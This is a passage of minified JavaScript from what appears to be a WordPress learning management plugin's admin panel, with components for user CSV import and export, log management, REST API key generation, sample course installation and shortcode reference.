l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement("form",null,l().createElement(Fa,null,l().createElement(Ge.l,null,(0,E.__)("Import","learning-management-system")),l().createElement(d.B,{direction:"column"},l().createElement(Fa,null,l().createElement(Ne.MJ,{isInvalid:!(null==t||!t.file)},l().createElement(Ma.p,(0,Re.A)({opacity:c.isPending?"0.5":1,pointerEvents:c.isPending?"none":"auto",boxShadow:"none",variant:"unstyled",multiple:!1,type:"file",accept:".csv"},e("file",{required:(0,E.__)("Please select an import CSV file.","learning-management-system")}))),!(null==t||!t.file)&&l().createElement(ui.Wt,null,t.file.message)),!(null==m||!m.length)&&l().createElement(d.B,{direction:"row",w:"full",ml:2},l().createElement(p.$,{colorScheme:"primary",isLoading:c.isPending,variant:"outline",type:"button",leftIcon:l().createElement($e.I,{as:kt.bh6,fontSize:"md"}),onClick:n((e=>c.mutate(e)))},(0,E.__)("Import users","learning-management-system")),c.isPending&&l().createElement(d.B,{flex:"1"},l().createElement(g.E,{fontStyle:"italic",opacity:"0.8"},(0,E.__)("Importing...","learning-management-system")),l().createElement(Jd.k,{size:"xs",hasStripe:!0,isIndeterminate:!0}))))))),l().createElement(Fa,null,l().createElement(Ge.l,null,(0,E.__)("Export","learning-management-system")),l().createElement(Qe.a,null,l().createElement(p.$,{colorScheme:"primary",isLoading:u.isPending,variant:"outline",type:"button",leftIcon:l().createElement($e.I,{as:kt.w4m,fontSize:"md"}),onClick:()=>u.mutate()},(0,E.__)("Export users","learning-management-system")))))};const rh=()=>l().createElement(nm.t,{orientation:"vertical"},l().createElement(d.B,{direction:"row",flex:"1"},l().createElement(Tm.w,{sx:cn},l().createElement(Um.o,{sx:sn},(0,E.__)("Courses","learning-management-system")),"yes"===(null==R?void 0:R.isCurrentUserAdmin)&&l().createElement(Um.o,{sx:sn},(0,E.__)("Users","learning-management-system")),"yes"===(null==R?void 0:R.isCurrentUserAdmin)&&l().createElement(Um.o,{sx:sn},(0,E.__)("Settings","learning-management-system")),l().createElement(Um.o,{sx:sn},(0,E.__)("Quizzes","learning-management-system"))),l().createElement(Wm.T,{flex:"1"},l().createElement(Km.K,null,l().createElement(Zf,null)),"yes"===(null==R?void 0:R.isCurrentUserAdmin)&&l().createElement(Km.K,null,l().createElement(lh,null)),"yes"===(null==R?void 0:R.isCurrentUserAdmin)&&l().createElement(Km.K,null,l().createElement(Gf,null)),l().createElement(Km.K,null,l().createElement(th,null)))));function ih(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function oh(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?ih(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):ih(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const sh=e=>{var t,n,r,i,o,m,c,u,A,y,{}=e,f=(0,We.d)(),h=new mt(rt.logs),{onClose:b,onOpen:w,isOpen:C}=(0,Ue.j)(),[x,S]=(0,a.useState)([]),[B,I]=(0,a.useState)(""),[O,P]=(0,a.useState)(),[D,_]=(0,a.useState)({order:"desc",orderby:"date"}),k=(0,Pn.I)({queryKey:["logs",D],queryFn:()=>h.list(D)}),Q=(0,s.jE)(),z=function(){var e=(0,Te.A)((function*(e,t){var n=yield h.get(e),a=new Blob([(null==n?void 0:n.log)||""],{type:"text/plain"});JE()(a,t||"log.log")}));return function(t,n){return e.apply(this,arguments)}}(),q=(0,wt.n)(oh({mutationFn:e=>h.delete(e,{force:!0,children:!0})},{onSuccess:()=>{f({status:"success",title:(0,E.__)("Log Deleted","learning-management-system"),isClosable:!0}),Q.invalidateQueries({queryKey:["logs"]}),b()},onError:e=>{f({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),F={delete:(0,wt.n)(oh({mutationFn:e=>h.bulkDelete("delete",{ids:e,force:!0,children:!0})},{onSuccess(){Q.invalidateQueries({queryKey:["logs"]}),b(),S([]),f({title:(0,E.__)("Logs Deleted","learning-management-system"),isClosable:!0,status:"success"})}}))},j=(0,wr.z)({onTypeFinish:e=>{_(oh(oh({},D),{},{search:e}))}},800),V=(e,t)=>_(ee(oh(oh({},D),{},{order:e,orderby:t})));return l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center",bg:"white"},l().createElement(Ne.MJ,{width:"full"},l().createElement(Ma.p,(0,Re.A)({rounded:"base",px:2,py:1,size:"md",fontSize:"small",placeholder:(0,E.__)("Search logs","learning-management-system")},j))),l().createElement(_n.XI,null,k.isLoading||!k.isFetched?l().createElement(vd,null):k.isSuccess&&$(null==k||null===(t=k.data)||void 0===t?void 0:t.data)?l().createElement(Mn,{title:(0,E.__)("No Logs Yet","learning-management-system"),description:(0,E.__)("Start building your learning platform by creating your first course. Add lessons, quizzes, and materials to engage your students.","learning-management-system"),isResultFiltered:Boolean(null==D?void 0:D.search)}):l().createElement(l().Fragment,null,l().createElement(_n.d8,null,l().createElement(_n.Tr,null,l().createElement(_n.Th,{style:{minWidth:"150px"}},l().createElement(On.S,{isDisabled:k.isFetching||!(null!=k&&null!==(n=k.data)&&void 0!==n&&null!==(n=n.data)&&void 0!==n&&n.length),isIndeterminate:(null==k||null===(r=k.data)||void 0===r||null===(r=r.data)||void 0===r?void 0:r.length)!==(null==x?void 0:x.length)&&x.length>0,isChecked:(null==k||null===(i=k.data)||void 0===i||null===(i=i.data)||void 0===i?void 0:i.length)===(null==x?void 0:x.length)&&!$(null==k||null===(o=k.data)||void 0===o?void 0:o.data),onChange:e=>{var t;return S(e.target.checked?null==k||null===(t=k.data)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.map((e=>e.id.toString())):[])}})),l().createElement(_n.Th,null,l().createElement(d.B,{direction:"row",alignItems:"center"},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("Name","learning-management-system")),l().createElement(d.B,{direction:"column"},l().createElement($e.I,{as:"desc"===(null==D?void 0:D.order)?Le.suq:Le.riQ,h:6,w:6,cursor:"pointer",color:"title"===(null==D?void 0:D.orderby)?"black":"lightgray",transition:"1s",_hover:{color:"black"},onClick:()=>V("desc"===(null==D?void 0:D.order)?"asc":"desc","name")})))),l().createElement(_n.Th,null," ",l().createElement(d.B,{direction:"row",alignItems:"center"},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("Size","learning-management-system")),l().createElement(d.B,{direction:"column"},l().createElement($e.I,{as:"desc"===(null==D?void 0:D.order)?Le.suq:Le.riQ,h:6,w:6,cursor:"pointer",color:"title"===(null==D?void 0:D.orderby)?"black":"lightgray",transition:"1s",_hover:{color:"black"},onClick:()=>V("desc"===(null==D?void 0:D.order)?"asc":"desc","size")})))),l().createElement(_n.Th,null," ",l().createElement(d.B,{direction:"row",alignItems:"center"},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("Date","learning-management-system")),l().createElement(d.B,{direction:"column"},l().createElement($e.I,{as:"desc"===(null==D?void 0:D.order)?Le.suq:Le.riQ,h:6,w:6,cursor:"pointer",color:"date"===(null==D?void 0:D.orderby)?"black":"lightgray",transition:"1s",_hover:{color:"black"},onClick:()=>V("desc"===(null==D?void 0:D.order)?"asc":"desc","date")})))),l().createElement(_n.Th,null,(0,E.__)("Actions","learning-management-system")))),l().createElement(_n.NN,null,l().createElement(l().Fragment,null,null==k||null===(m=k.data)||void 0===m||null===(m=m.data)||void 0===m?void 0:m.map((e=>{var t,n,a;return l().createElement(_n.Tr,{key:null==e?void 0:e.id},l().createElement(_n.Td,null,l().createElement(On.S,{isDisabled:null==k?void 0:k.isLoading,isChecked:null==x?void 0:x.includes(null==e||null===(t=e.id)||void 0===t?void 0:t.toString()),onChange:t=>{var n;return S(t.target.checked?[...x,null==e||null===(n=e.id)||void 0===n?void 0:n.toString()]:x.filter((t=>{var n;return t!==(null==e||null===(n=e.id)||void 0===n?void 0:n.toString())})))}})),l().createElement(_n.Td,null,l().createElement(je.N,{as:v.N_,to:Pt.log.replace(":id",null==e||null===(n=e.id)||void 0===n?void 0:n.toString()),fontWeight:"semibold",_hover:{color:"primary.500"}},Ae(null==e?void 0:e.name))),l().createElement(_n.Td,null,null==e?void 0:e.formatted_size),l().createElement(_n.Td,null,l().createElement(d.B,{direction:"row",spacing:"2",alignItems:"center",color:"gray.600"},l().createElement($e.I,{as:kt.u$_}),l().createElement(g.E,{fontSize:"xs",fontWeight:"medium"},ie(null==e?void 0:e.date,"Y-m-d, h:i A")))),l().createElement(_n.Td,null,l().createElement(Bt.e,null,l().createElement(p.$,{colorScheme:"primary",leftIcon:l().createElement(kt.Ah9,null),size:"xs",onClick:()=>z(null==e?void 0:e.id,null==e?void 0:e.name)},(0,E.__)("Download","learning-management-system")),l().createElement(Rn.W,{placement:"bottom-end"},l().createElement(Tn.I,{as:Un.K,icon:l().createElement(kt.voe,null),variant:"outline",rounded:"sm",fontSize:"large",size:"xs"}),l().createElement(Wn.c,null,l().createElement(Kn.D,{_hover:{color:"red.500"},icon:l().createElement(Da,{icon:ea,boxSize:"12px"}),onClick:()=>{return t=null==e?void 0:e.id,w(),I(""),void P(t);var t}},(0,E.__)("Delete","learning-management-system")),l().createElement(je.N,{as:v.N_,to:Pt.log.replace(":id",null==e||null===(a=e.id)||void 0===a?void 0:a.toString()),textDecoration:"none !important"},l().createElement(Kn.D,{icon:l().createElement(la.Ny1,null),_hover:{color:"primary.500"}},(0,E.__)("View","learning-management-system"))))))))})))))),l().createElement(ta,{openToast:w,status:"trash",setBulkAction:I,bulkIds:x,setBulkIds:S,trashable:!1}),l().createElement(qn,{isOpen:C,onClose:b,confirmButtonColorScheme:"restore"===B?"primary":void 0,onConfirm:""===B?()=>{O&&q.mutate(O)}:()=>{F[B].mutate(x)},action:B,isLoading:""===B?q.isPending:null!==(c=null==F||null===(u=F[B])||void 0===u?void 0:u.isLoading)&&void 0!==c&&c,dialogTexts:{default:{header:(0,E.__)("Deleting Logs","learning-management-system"),body:(0,E.__)("Are you sure? You can’t restore after deleting.","learning-management-system"),confirm:(0,E.__)("Delete","learning-management-system")},delete:{header:(0,E.__)("Deleting Logs","learning-management-system"),body:(0,E.__)("Are you sure? You can’t restore after deleting."),confirm:(0,E.__)("Delete","learning-management-system")}}}),k.isSuccess&&!$(null==k||null===(A=k.data)||void 0===A?void 0:A.data)&&l().createElement(ba,{metaData:null==k||null===(y=k.data)||void 0===y?void 0:y.meta,setFilterParams:_,perPageText:(0,E.__)("Logs Per Page:","learning-management-system"),extraFilterParams:{order:null==D?void 0:D.order,orderby:null==D?void 0:D.orderby,search:null==D?void 0:D.search}}))};var mh=["children"],ch=["children"];function uh(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}var dh=e=>{var t,{children:n}=e,a=(0,q.A)(e,mh);return l().createElement(Ii.dK.Control,a,l().createElement(Oa.e,{marginLeft:"2",src:null===(t=a.getValue())||void 0===t||null===(t=t[0])||void 0===t?void 0:t.avatar_url,size:"xs"}),n)},gh=e=>{var t,{children:n}=e,a=(0,q.A)(e,ch);return l().createElement(Ii.dK.Option,a,l().createElement(Ze.z,{alignItems:"center"},l().createElement(Oa.e,{src:null===(t=a.data)||void 0===t?void 0:t.avatar_url,size:"xs"}),l().createElement(Qe.a,null,n)))};const Ah=e=>{var t,n=(0,c.useSelect)((e=>e("core").canUser("create","users")),[])||!1,a=(0,c.useSelect)((e=>e("core").getCurrentUser()),[]),r=$(a)?null:{value:null==a?void 0:a.id,label:null==a?void 0:a.name,avatar_url:$(null==a?void 0:a.avatar_urls)?"":null==a?void 0:a.avatar_urls[24]},{authorData:i,tabIndex:o}=e,{setValue:s}=(0,Je.xW)(),m=new mt(rt.users),u=(0,Pn.I)(function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?uh(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):uh(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}({queryKey:["users"],queryFn:()=>m.list({orderby:"display_name",order:"asc",per_page:10})},{enabled:n}));return l().createElement(Ne.MJ,{mb:4},l().createElement(Ge.l,null,(0,E.__)("User","learning-management-system")),!u.isLoading&&r?l().createElement(Co,{isDisabled:!n,components:{Control:dh,Option:gh},styles:dn,cacheOptions:!0,loadingMessage:()=>(0,E.__)("Searching...","learning-management-system"),noOptionsMessage:e=>{var{inputValue:t}=e;return $(t)?(0,E.__)("Please enter one or more characters.","learning-management-system"):(0,E.__)("Users not found.","learning-management-system")},isClearable:!0,placeholder:(0,E.__)("Search by username or email","learning-management-system"),defaultValue:i?{value:i.id,label:i.display_name,avatar_url:i.avatar_url}:r,onChange:e=>{s("user_id",null==e?void 0:e.value)},defaultOptions:u.isSuccess?null===(t=u.data)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.map((e=>({value:e.id,label:e.display_name,avatar_url:e.avatar_url}))):[r],loadOptions:(e,t)=>{if($(e))return t([]);m.list({search:e}).then((e=>{t(e.data.map((e=>({value:e.id,label:e.display_name,avatar_url:e.avatar_url}))))}))}}):l().createElement(St.E,{height:"40px",width:"100%"}))};function ph(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function Eh(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?ph(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):ph(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var yh=Object.entries({read:"Read",write:"Write",read_write:"Read/Write"}).map((e=>{var[t,n]=e;return{value:t,label:n}}));const vh=()=>{var e,t=(0,We.d)(),n=new mt(rt.restAPI),{isOpen:r,onOpen:i,onClose:o}=(0,Ue.j)(),{onClose:m,onOpen:c,isOpen:u}=(0,Ue.j)(),d=(0,Je.mN)(),y=(0,s.jE)(),{register:v,reset:S,setValue:B,getValues:I,control:O,handleSubmit:P}=d,[D,_]=(0,a.useState)("create"),[k,Q]=(0,a.useState)(),z=(0,Xl.i)(""),q=(0,Pn.I)({queryKey:["restAuthAPIs"],queryFn:()=>n.list(),enabled:!0}),F=(0,wt.n)({mutationFn:e=>n.store(e),onSuccess:()=>{t({title:"API key and Secret key generated successfully",status:"success",isClosable:!0}),y.invalidateQueries({queryKey:["restAuthAPIs"]}),o(),S()},onError:e=>{t({title:e.message||"Failed to create API key and Secret key",status:"error",isClosable:!0})}}),j=(0,wt.n)({mutationFn:e=>n.update(e.id,e),onSuccess:()=>{t({title:"Updated successfully",status:"success",isClosable:!0}),y.invalidateQueries({queryKey:["restAuthAPIs"]}),o(),S()},onError:e=>{t({title:e.message||"Failed to update",status:"error",isClosable:!0})}}),V=(0,wt.n)({mutationFn:e=>n.delete(e),onSuccess:()=>{t({title:"Deleted successfully",status:"success",isClosable:!0}),y.invalidateQueries({queryKey:["restAuthAPIs"]}),m()},onError:e=>{t({title:e.message||"Failed to delete",status:"error",isClosable:!0})}});return(0,a.useEffect)((()=>{null!=z&&z.value&&t({title:(0,E.__)("Copied To Clipboard","learning-management-system"),isClosable:!0,duration:3e3,status:"success"})}),[null==z?void 0:z.value,t]),(0,a.useEffect)((()=>{var e=setTimeout((()=>{null==z||z.setValue("")}),2e3);return()=>clearTimeout(e)}),[z]),l().createElement(Qe.a,{px:4},l().createElement(ft.s,{justifyContent:"flex-end",mb:6},l().createElement(p.$,{leftIcon:l().createElement(et.GGD,null),colorScheme:"primary",onClick:()=>{_("create"),S(),i()}},(0,E.__)("Add New","learning-management-system"))),l().createElement(_n.XI,null,q.isLoading?l().createElement(zd,null):q.isSuccess&&$(null==q?void 0:q.data)?l().createElement(Mn,{title:(0,E.__)("No Rest API Keys Yet","learning-management-system"),description:(0,E.__)("Start building your learning platform by creating your first course. Add lessons, quizzes, and materials to engage your students.","learning-management-system")}):l().createElement(l().Fragment,null,l().createElement(_n.d8,null,l().createElement(_n.Tr,null,l().createElement(_n.Th,null,(0,E.__)("User","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("API Key","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Secret","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Permission","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Description","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Action","learning-management-system")))),l().createElement(_n.NN,null,null==q||null===(e=q.data)||void 0===e?void 0:e.map((e=>{var t,n,a,r,o,s,m;return l().createElement(_n.Tr,{key:null==e?void 0:e.id},l().createElement(_n.Td,null,l().createElement(g.E,{fontWeight:"semibold"},null==e||null===(t=e.user)||void 0===t?void 0:t.display_name)),l().createElement(_n.Td,null,l().createElement($n.m,{label:(0,E.__)("Click to copy","learning-management-system")},l().createElement(p.$,{variant:"outline",colorScheme:"primary",borderRadius:"lg",leftIcon:(null==z?void 0:z.value)===(null==e?void 0:e.apiKey)?l().createElement(la.CMH,{size:18,color:"green"}):l().createElement(kt.$_m,{size:18}),size:"sm",_hover:{variant:"solid"},onClick:()=>{null==z||z.onCopy(null==e?void 0:e.apiKey),null==z||z.setValue(null==e?void 0:e.apiKey)}},null==e||null===(n=e.apiKey)||void 0===n?void 0:n.slice(0,10),"..."))),l().createElement(_n.Td,null,l().createElement($n.m,{label:(0,E.__)("Click to copy","learning-management-system")},l().createElement(p.$,{variant:"outline",colorScheme:"primary",borderRadius:"lg",leftIcon:(null==z?void 0:z.value)===(null==e?void 0:e.secret)?l().createElement(la.CMH,{size:18,color:"green"}):l().createElement(Ve.Zno,{size:18}),size:"sm",_hover:{variant:"solid"},onClick:()=>{null==z||z.onCopy(null==e?void 0:e.secret),null==z||z.setValue(null==e?void 0:e.secret)}},null==e||null===(a=e.secret)||void 0===a?void 0:a.slice(0,12),"..."))),l().createElement(_n.Td,null,(o=null==e?void 0:e.permissions,s="",m="","read"===o?(s="purple",m="Read"):"read_write"===o?(s="green",m="Read / Write"):(s="yellow",m="Write"),l().createElement(Jt.E,{colorScheme:s},m))),l().createElement(_n.Td,null,$(null==e?void 0:e.description)?"-":l().createElement($n.m,{label:null==e?void 0:e.description,placement:"bottom-start"},l().createElement(g.E,{fontWeight:"semibold"},null==e||null===(r=e.description)||void 0===r?void 0:r.slice(0,20)))),l().createElement(_n.Td,null,l().createElement(Rn.W,{placement:"bottom-end"},l().createElement(Tn.I,{as:Un.K,icon:l().createElement(kt.voe,null),variant:"outline",rounded:"sm",fontSize:"large",size:"xs"}),l().createElement(Wn.c,null,l().createElement(Kn.D,{onClick:()=>(e=>{_("update"),B("id",e.id),B("user_id",e.user.id),B("user",e.user),B("permissions",e.permissions),B("description",e.description),i()})(e),icon:l().createElement(_a,{width:"12px",height:"12px",fill:"currentColor"}),_hover:{color:"blue.500"}},(0,E.__)("Edit","learning-management-system")),l().createElement(Kn.D,{onClick:()=>{return t=null==e?void 0:e.id,c(),void Q(t);var t},icon:l().createElement(Da,{icon:ea,boxSize:"12px"}),_hover:{color:"red.500"}},(0,E.__)("Delete","learning-management-system"))))))}))))),l().createElement(h.aF,{isOpen:r,onClose:o,isCentered:!0,size:"xl"},l().createElement(f.m,null),l().createElement(b.$,null,l().createElement(w.r,null,"create"===D?(0,E.__)("Generate API Key and Secret","learning-management-system"):(0,E.__)("Update API","learning-management-system")),l().createElement(C.s,null),l().createElement(Je.Op,d,l().createElement("form",{onSubmit:P((e=>{var t={permissions:e.permissions||"read",description:e.description||"",user_id:e.user_id||0};"create"===D?F.mutate(t):j.mutate(Eh(Eh({},t),{},{id:e.id}))}))},l().createElement(x.c,null,l().createElement(Ah,{authorData:I("user")}),l().createElement(Ne.MJ,{mb:4},l().createElement(Ge.l,null,(0,E.__)("Permissions","learning-management-system")),l().createElement(aa.l,(0,Re.A)({style:{maxWidth:"100% ",background:"white",color:"black"}},v("permissions",{required:(0,E.__)("Select a permission.","learning-management-system")})),yh.map((e=>l().createElement("option",{key:e.value,value:e.value},e.label))))),l().createElement(Ne.MJ,{mb:4},l().createElement(Ge.l,null,(0,E.__)("Description","learning-management-system")),l().createElement(Je.xI,{name:"description",control:O,render:e=>{var{field:{onChange:t,value:n}}=e;return l().createElement(He.T,{placeholder:(0,E.__)("Write here...","learning-management-system"),onChange:t,value:n})}}))),l().createElement(A.j,null,l().createElement(p.$,{colorScheme:"blue",type:"submit",isLoading:(null==F?void 0:F.isPending)||(null==j?void 0:j.isPending)},"create"===D?(0,E.__)("Generate","learning-management-system"):(0,E.__)("Update","learning-management-system")),l().createElement(p.$,{variant:"ghost",ml:3,onClick:o,disabled:(null==F?void 0:F.isPending)||(null==j?void 0:j.isPending)},(0,E.__)("Cancel","learning-management-system"))))))),l().createElement(qn,{isOpen:u,onClose:m,onConfirm:()=>{k&&V.mutate(k)},isLoading:null==V?void 0:V.isPending,dialogTexts:{default:{header:(0,E.__)("Deleting Rest API","learning-management-system"),body:(0,E.__)("Are you sure? You can’t restore after deleting.","learning-management-system"),confirm:(0,E.__)("Delete","learning-management-system")},delete:{header:(0,E.__)("Deleting Rest API","learning-management-system"),body:(0,E.__)("Are you sure? You can’t restore after deleting."),confirm:(0,E.__)("Delete","learning-management-system")}}}))};function fh(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}const hh=()=>{var e=(0,We.d)(),t=(0,s.jE)(),[n,r]=(0,a.useState)("publish"),i=(0,wt.n)(function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?fh(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):fh(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}({mutationFn:()=>st({path:rt.importSampleCourses,method:"POST",data:{status:n}})},{onSuccess(){t.invalidateQueries({queryKey:["courseList"]}),e({title:(0,E.__)("Sample courses installed","learning-management-system"),status:"success",duration:3e3,isClosable:!0})},onError(t){e({title:(0,E.__)("Sample courses installation failed","learning-management-system"),description:null==t?void 0:t.message,status:"error",duration:3e3,isClosable:!0})}}));return l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Fa,null,l().createElement(Ge.l,null,(0,E.__)("Install Sample Courses","learning-management-system"),l().createElement(tl,{label:(0,E.__)("Select the status of the sample courses for import.","learning-management-system")})),l().createElement(d.B,{spacing:"4",align:"start"},l().createElement(ja.z,{display:"flex",gap:"2",onChange:r,value:n},l().createElement(Va.s,{value:"publish"},(0,E.__)("Publish","learning-management-system")),l().createElement(Va.s,{value:"draft"},(0,E.__)("Draft","learning-management-system"))),l().createElement(p.$,{colorScheme:"primary",isLoading:i.isPending,variant:"outline",type:"button",leftIcon:l().createElement($e.I,{as:kt.bh6,fontSize:"md"}),onClick:()=>i.mutate()},(0,E.__)("Install","learning-management-system")))))};const bh=e=>{var{attributes:t,exampleUsage:n,isOpen:r,onClose:i,shortCode:o,title:s,onCopiedShortcodeChange:m,copiedShortcode:c}=e,{value:u,setValue:d,onCopy:A}=(0,Xl.i)("");(0,a.useEffect)((()=>{u&&(A(),m(u))}),[u]);var p=(e,t)=>{var n=e||(t?ge(o,t):"");u!==n?d(n):m(n)};return(0,a.useEffect)((()=>{var e=setTimeout((()=>{m("")}),2e3);return()=>{clearTimeout(e)}}),[c,m]),l().createElement(h.aF,{isOpen:r,onClose:i,size:"5xl",isCentered:!0},l().createElement(f.m,null),l().createElement(b.$,null,l().createElement(w.r,{textAlign:"center"},(0,E.sprintf)(/* Translators: %s: Shortcode's attributes title. */ "%s's Attributes",s)),l().createElement(C.s,null),l().createElement(x.c,{maxHeight:"80vh",overflowY:"auto"},null==t?void 0:t.map((e=>{var t=ge(o,e);return l().createElement(rr.fI,{key:e.name,align:"center",style:{margin:"15px 0"}},l().createElement(rr.fv,{xs:12,md:3},l().createElement(g.E,{fontWeight:"700",my:{base:2,md:0},textAlign:"start"},e.label||(null==e?void 0:e.name))),l().createElement(rr.fv,{xs:12,md:9},l().createElement(Qe.a,{bgColor:"gray.100",p:2,borderRadius:8,display:"flex",alignItems:"center"},l().createElement(g.E,{flex:1},ge(o,e)),l().createElement($n.m,{label:e.extraMessage},l().createElement(Qe.a,{cursor:"pointer",mr:3},l().createElement($e.I,{as:Ve.tEG,fontSize:"md",color:"primary.500"}))),l().createElement($n.m,{label:(0,E.__)(t===c?"Shortcode copied":"Copy shortcode","learning-management-system")},l().createElement("span",null,l().createElement($e.I,{as:c===t?la.CMH:et.nxz,cursor:"pointer",color:c===t?"green.500":"primary.500",fontSize:"md",onClick:()=>c!==t&&p(null,e)}))))))})),n&&l().createElement(Qe.a,{mt:4,px:3,mb:2},l().createElement(Qe.a,{mt:2,bgColor:"gray.100",p:2,borderRadius:8},l().createElement(g.E,{mb:2,fontWeight:"bold",textAlign:"center"},(0,E.__)("Example Usage","learning-management-system")),null==n?void 0:n.map(((e,t)=>l().createElement(l().Fragment,null,0!==t&&l().createElement(Do.c,null),l().createElement(ft.s,{key:e,alignItems:"center",my:3},l().createElement(la.eW4,null),l().createElement(g.E,{flex:1,ml:2},e),l().createElement($n.m,{label:(0,E.__)(c===e?"Shortcode copied":"Copy shortcode","learning-management-system")},l().createElement("span",null,l().createElement($e.I,{as:c===e?la.CMH:et.nxz,color:c===e?"green.500":"primary.500",cursor:"pointer",fontSize:"md",onClick:()=>c!==e&&p(e,null)}))))))))))))};function wh(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function Ch(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?wh(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):wh(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const xh=()=>{var[e,t]=(0,a.useState)(null),{value:n,setValue:r,onCopy:i}=(0,Xl.i)(""),[o,s]=(0,a.useState)(""),m=(0,a.useCallback)((e=>s(e)),[]);return(0,a.useEffect)((()=>{n&&(i(),s(n))}),[n]),(0,a.useEffect)((()=>{var e=setTimeout((()=>{s("")}),2e3);return()=>{clearTimeout(e)}}),[o]),l().createElement(rr.mc,{fluid:!0},e&&l().createElement(bh,{isOpen:e,onClose:()=>t(null),title:null==e?void 0:e.title,attributes:null==e?void 0:e.attributes,exampleUsage:null==e?void 0:e.exampleUsage,shortCode:null==e?void 0:e.shortCode,onCopiedShortcodeChange:m,copiedShortcode:o}),mm.map((e=>{var{shortCode:a,title:i,attributes:m,exampleUsage:c,link:u}=e;return l().createElement(rr.fI,{key:a,style:{margin:"15px 0"},align:"center"},l().createElement(rr.fv,{xs:12,md:3},l().createElement(g.E,{fontSize:"sm",textAlign:"start",my:{base:2,md:0},fontWeight:"semibold"},i)),l().createElement(rr.fv,{xs:12,md:9},l().createElement(Qe.a,{bgColor:"gray.100",p:3,borderRadius:8,display:"flex",alignItems:"center",gap:2},l().createElement(g.E,{flex:1,fontSize:"small"},a),l().createElement($n.m,{label:m&&(0,E.__)("Open attributes info","learning-management-system")},l().createElement("span",null,l().createElement($e.I,{as:Ve.tEG,color:m&&"primary.500",cursor:"pointer",fontSize:"lg",style:Ch({margin:"0 5px"},de(Boolean(m))),onClick:()=>m&&(e=>{t(e)})({title:i,shortCode:a,attributes:m,exampleUsage:c})}))),l().createElement($n.m,{label:(0,E.__)(n===a?"Shortcode copied":"Copy shortcode","learning-management-system")},l().createElement("span",null,l().createElement($e.I,{as:o===a?ay.CMH:et.nxz,color:o===a?"green.500":"primary.500",cursor:"pointer",fontSize:"lg",onClick:()=>{o!==a&&(e=>{n!==e?r(e):s(n)})(a)}}))),l().createElement($n.m,{label:u&&(0,E.__)("Visit this link","learning-management-system")},l().createElement("span",null,l().createElement($e.I,{as:et.HaR,fontSize:"lg",color:u&&"primary.500",style:Ch({margin:"0 5px"},de(Boolean(u))),cursor:"pointer",onClick:()=>u&&window.open(u,"_blank")}))))))})))};var Sh={borderRadius:"8px",bg:"gray.100",height:"40px",display:"flex",alignItems:"center",justifyContent:"space-between",p:"12px"};const Bh=()=>{var e,t,n,a,r,i,o,s,m,c,u,A,p,y,v,f,h,b,w,C,x,S=new mt(rt.systemStatus),B=(0,Pn.I)({queryKey:["systemStatus"],queryFn:()=>S.list()});return B.isSuccess?l().createElement(d.B,{spacing:"8"},l().createElement(d.B,{direction:"column",spacing:"4"},l().createElement(ke.D,{as:"h4",size:"xs"},(0,E.__)("WordPress 